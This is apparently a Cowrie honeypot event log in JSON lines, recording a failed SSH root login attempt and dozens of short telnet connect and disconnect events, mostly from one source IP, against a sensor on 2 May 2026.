{"eventid":"cowrie.login.failed","username":"root","password":"cloudtest","message":"login attempt [root/cloudtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:09.143161Z","src_ip":"202.145.0.61","session":"b7c82f793b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.656339168548584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:09.410905Z","src_ip":"23.111.140.22","session":"b58ef409ac93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.490406274795532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:10.352353Z","src_ip":"23.111.140.22","session":"0328219885e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:10.383737Z","src_ip":"202.145.0.61","session":"b7c82f793b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56336,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff11f5993509","protocol":"telnet","message":"New connection: 23.111.140.22:56336 (10.17.0.5:23) [session: ff11f5993509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:11.204656Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60284,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd440756ed3a","protocol":"telnet","message":"New connection: 23.111.140.22:60284 (10.17.0.5:23) [session: dd440756ed3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:11.365328Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57570,"dst_ip":"10.17.0.5","dst_port":23,"session":"2472cf14be46","protocol":"telnet","message":"New connection: 23.111.140.22:57570 (10.17.0.5:23) [session: 2472cf14be46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:11.609980Z"}
{"eventid":"cowrie.session.closed","duration":32.032562494277954,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:11.986647Z","src_ip":"23.111.140.22","session":"3560dc4d58c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.587443590164185,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:12.832529Z","src_ip":"23.111.140.22","session":"63ccc9944ea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56362,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c806b313f8","protocol":"telnet","message":"New connection: 23.111.140.22:56362 (10.17.0.5:23) [session: 21c806b313f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:13.222962Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38844,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b8c0a5ab69","protocol":"telnet","message":"New connection: 23.111.140.22:38844 (10.17.0.5:23) [session: a7b8c0a5ab69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:13.272320Z"}
{"eventid":"cowrie.session.closed","duration":30.674721717834473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:13.422343Z","src_ip":"23.111.140.22","session":"6519d7953bc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42194,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf95051a8745","protocol":"telnet","message":"New connection: 23.111.140.22:42194 (10.17.0.5:23) [session: bf95051a8745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:14.201488Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42240,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5f7899bf7c9","protocol":"telnet","message":"New connection: 23.111.140.22:42240 (10.17.0.5:23) [session: e5f7899bf7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:14.222839Z"}
{"eventid":"cowrie.session.closed","duration":30.708274602890015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:14.446888Z","src_ip":"23.111.140.22","session":"6966f95d068c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.317074060440063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:14.554941Z","src_ip":"23.111.140.22","session":"0e290226a246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80648946762085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:14.741030Z","src_ip":"23.111.140.22","session":"3a52d893d537","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68316912651062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:15.168459Z","src_ip":"23.111.140.22","session":"8276a42fcea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.882670640945435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:15.892972Z","src_ip":"23.111.140.22","session":"db2418857111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48358,"dst_ip":"10.17.0.5","dst_port":23,"session":"25433dfa0f03","protocol":"telnet","message":"New connection: 23.111.140.22:48358 (10.17.0.5:23) [session: 25433dfa0f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:16.037833Z"}
{"eventid":"cowrie.session.closed","duration":31.640814542770386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:16.170234Z","src_ip":"23.111.140.22","session":"7b7d761c1517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49552,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e4594e6182","protocol":"telnet","message":"New connection: 23.111.140.22:49552 (10.17.0.5:23) [session: 08e4594e6182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:16.467187Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51582,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcd2385df695","protocol":"telnet","message":"New connection: 23.111.140.22:51582 (10.17.0.5:23) [session: dcd2385df695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:17.103531Z"}
{"eventid":"cowrie.session.closed","duration":35.612046241760254,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:17.569052Z","src_ip":"23.111.140.22","session":"1a005675b7c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53319,"dst_ip":"10.17.0.5","dst_port":23,"session":"d85ae7eae25a","protocol":"telnet","message":"New connection: 23.111.140.22:53319 (10.17.0.5:23) [session: d85ae7eae25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:17.706000Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54062,"dst_ip":"10.17.0.5","dst_port":23,"session":"f73e3f065f4b","protocol":"telnet","message":"New connection: 23.111.140.22:54062 (10.17.0.5:23) [session: f73e3f065f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:17.931285Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54224,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3879aab1b4e","protocol":"telnet","message":"New connection: 23.111.140.22:54224 (10.17.0.5:23) [session: d3879aab1b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:17.975491Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52010,"dst_ip":"10.17.0.5","dst_port":23,"session":"06ee8aa9acc3","protocol":"telnet","message":"New connection: 23.111.140.22:52010 (10.17.0.5:23) [session: 06ee8aa9acc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:18.277160Z"}
{"eventid":"cowrie.session.closed","duration":31.3699734210968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:18.935638Z","src_ip":"23.111.140.22","session":"2782041596d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54448,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e12be3c8d25","protocol":"telnet","message":"New connection: 23.111.140.22:54448 (10.17.0.5:23) [session: 5e12be3c8d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:19.027066Z"}
{"eventid":"cowrie.session.closed","duration":31.402941942214966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:19.032417Z","src_ip":"23.111.140.22","session":"7b523c3249a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52000,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a11b75dcfe5","protocol":"telnet","message":"New connection: 23.111.140.22:52000 (10.17.0.5:23) [session: 5a11b75dcfe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:19.042843Z"}
{"eventid":"cowrie.session.closed","duration":30.63777804374695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:19.204380Z","src_ip":"23.111.140.22","session":"02f006748b4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58492,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b4db7f4336b","protocol":"telnet","message":"New connection: 23.111.140.22:58492 (10.17.0.5:23) [session: 5b4db7f4336b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:19.365176Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50174,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb91f26e53b7","protocol":"telnet","message":"New connection: 23.111.140.22:50174 (10.17.0.5:23) [session: eb91f26e53b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:19.686430Z"}
{"eventid":"cowrie.session.closed","duration":31.742260456085205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:19.731058Z","src_ip":"23.111.140.22","session":"357a57efc821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.605727195739746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:19.930514Z","src_ip":"23.111.140.22","session":"852c73be3a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57586,"dst_ip":"10.17.0.5","dst_port":23,"session":"05b426d70185","protocol":"telnet","message":"New connection: 23.111.140.22:57586 (10.17.0.5:23) [session: 05b426d70185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:20.032879Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44664,"dst_ip":"10.17.0.5","dst_port":23,"session":"1808506e6927","protocol":"telnet","message":"New connection: 23.111.140.22:44664 (10.17.0.5:23) [session: 1808506e6927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:20.281930Z"}
{"eventid":"cowrie.session.closed","duration":0.0055713653564453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:20.287369Z","src_ip":"23.111.140.22","session":"1808506e6927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094775438308716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:20.296489Z","src_ip":"23.111.140.22","session":"f22c5b7ce05e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92704153060913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:20.386178Z","src_ip":"23.111.140.22","session":"182b44efa3c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52692,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b4c53fe8785","protocol":"telnet","message":"New connection: 23.111.140.22:52692 (10.17.0.5:23) [session: 0b4c53fe8785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:20.507174Z"}
{"eventid":"cowrie.session.closed","duration":30.70751428604126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:20.558029Z","src_ip":"23.111.140.22","session":"d5763edd4070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60048,"dst_ip":"10.17.0.5","dst_port":23,"session":"06dfbfebd888","protocol":"telnet","message":"New connection: 23.111.140.22:60048 (10.17.0.5:23) [session: 06dfbfebd888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:20.866302Z"}
{"eventid":"cowrie.session.closed","duration":32.6855947971344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:20.993542Z","src_ip":"23.111.140.22","session":"7c74d2d4f0b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54756,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e2940cb9e84","protocol":"telnet","message":"New connection: 23.111.140.22:54756 (10.17.0.5:23) [session: 2e2940cb9e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:21.157806Z"}
{"eventid":"cowrie.session.closed","duration":31.25799250602722,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:21.343068Z","src_ip":"23.111.140.22","session":"ba211108c663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.241995096206665,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:21.508343Z","src_ip":"23.111.140.22","session":"ffe0502ff21e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.230.194.255","src_port":61189,"dst_ip":"159.203.135.109","dst_port":23,"session":"deaff683e8b8","protocol":"telnet","message":"New connection: 45.230.194.255:61189 (159.203.135.109:23) [session: deaff683e8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:22.007209Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42102,"dst_ip":"10.17.0.5","dst_port":23,"session":"144e36f07ecc","protocol":"telnet","message":"New connection: 23.111.140.22:42102 (10.17.0.5:23) [session: 144e36f07ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:22.371540Z"}
{"eventid":"cowrie.session.closed","duration":31.50013256072998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:22.478481Z","src_ip":"23.111.140.22","session":"ed03b4084785","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37515,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a7ddb7c3f42","protocol":"telnet","message":"New connection: 23.111.140.22:37515 (10.17.0.5:23) [session: 3a7ddb7c3f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:22.789319Z"}
{"eventid":"cowrie.session.closed","duration":30.84108257293701,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:23.059465Z","src_ip":"23.111.140.22","session":"c2dced4f13ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41576,"dst_ip":"10.17.0.5","dst_port":23,"session":"0136bc2ff4c4","protocol":"telnet","message":"New connection: 23.111.140.22:41576 (10.17.0.5:23) [session: 0136bc2ff4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:23.288483Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41748,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3129fbcdcbf","protocol":"telnet","message":"New connection: 23.111.140.22:41748 (10.17.0.5:23) [session: e3129fbcdcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:23.364833Z"}
{"eventid":"cowrie.session.closed","duration":31.30470323562622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:23.633511Z","src_ip":"23.111.140.22","session":"6d706bbeccb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42488,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8305a1c5ba2","protocol":"telnet","message":"New connection: 23.111.140.22:42488 (10.17.0.5:23) [session: f8305a1c5ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:23.656816Z"}
{"eventid":"cowrie.session.closed","duration":31.379384517669678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:23.778456Z","src_ip":"23.111.140.22","session":"b567cdd9e769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100183486938477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:23.999421Z","src_ip":"23.111.140.22","session":"2a6397ff84cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072757244110107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:24.183470Z","src_ip":"23.111.140.22","session":"d123f4c69a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49174,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e5985159237","protocol":"telnet","message":"New connection: 23.111.140.22:49174 (10.17.0.5:23) [session: 4e5985159237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:24.418778Z"}
{"eventid":"cowrie.session.closed","duration":31.994478940963745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:24.976850Z","src_ip":"23.111.140.22","session":"db64109587d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169596433639526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:24.988819Z","src_ip":"23.111.140.22","session":"9be398a4e9e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44028,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5a1994013da","protocol":"telnet","message":"New connection: 23.111.140.22:44028 (10.17.0.5:23) [session: e5a1994013da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:25.178610Z"}
{"eventid":"cowrie.session.closed","duration":30.52454161643982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:25.369524Z","src_ip":"23.111.140.22","session":"407dfbb4ca30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41776,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e581eaff5b","protocol":"telnet","message":"New connection: 23.111.140.22:41776 (10.17.0.5:23) [session: e8e581eaff5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:25.379414Z"}
{"eventid":"cowrie.session.closed","duration":32.222466707229614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:25.660836Z","src_ip":"23.111.140.22","session":"c7fc8e566a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48272,"dst_ip":"10.17.0.5","dst_port":23,"session":"56aea11390de","protocol":"telnet","message":"New connection: 23.111.140.22:48272 (10.17.0.5:23) [session: 56aea11390de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:25.710036Z"}
{"eventid":"cowrie.session.closed","duration":31.46125817298889,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:26.546707Z","src_ip":"23.111.140.22","session":"98bec54381be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268327951431274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:26.917956Z","src_ip":"23.111.140.22","session":"93dd74d5f973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52290,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbe1aaabac79","protocol":"telnet","message":"New connection: 23.111.140.22:52290 (10.17.0.5:23) [session: dbe1aaabac79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:27.075389Z"}
{"eventid":"cowrie.session.closed","duration":30.48431921005249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:27.172862Z","src_ip":"23.111.140.22","session":"c9736c4cf147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.794017553329468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:27.267064Z","src_ip":"23.111.140.22","session":"01cd537dbad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52930,"dst_ip":"10.17.0.5","dst_port":23,"session":"f70dc88af576","protocol":"telnet","message":"New connection: 23.111.140.22:52930 (10.17.0.5:23) [session: f70dc88af576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:27.328679Z"}
{"eventid":"cowrie.session.closed","duration":31.470031261444092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:27.339496Z","src_ip":"23.111.140.22","session":"bd50101c89a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05621027946472,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:27.450920Z","src_ip":"23.111.140.22","session":"260a2238a6ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51244,"dst_ip":"10.17.0.5","dst_port":23,"session":"9edb1b9057df","protocol":"telnet","message":"New connection: 23.111.140.22:51244 (10.17.0.5:23) [session: 9edb1b9057df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:27.748214Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54372,"dst_ip":"10.17.0.5","dst_port":23,"session":"c96e80e94a83","protocol":"telnet","message":"New connection: 23.111.140.22:54372 (10.17.0.5:23) [session: c96e80e94a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:27.816216Z"}
{"eventid":"cowrie.session.closed","duration":31.233355283737183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:28.023681Z","src_ip":"23.111.140.22","session":"d3f3c6faf515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98303723335266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:28.112299Z","src_ip":"23.111.140.22","session":"1e95fe966144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.359657526016235,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:28.145949Z","src_ip":"23.111.140.22","session":"43d203959db5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55446,"dst_ip":"10.17.0.5","dst_port":23,"session":"db1ab098c712","protocol":"telnet","message":"New connection: 23.111.140.22:55446 (10.17.0.5:23) [session: db1ab098c712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:28.238641Z"}
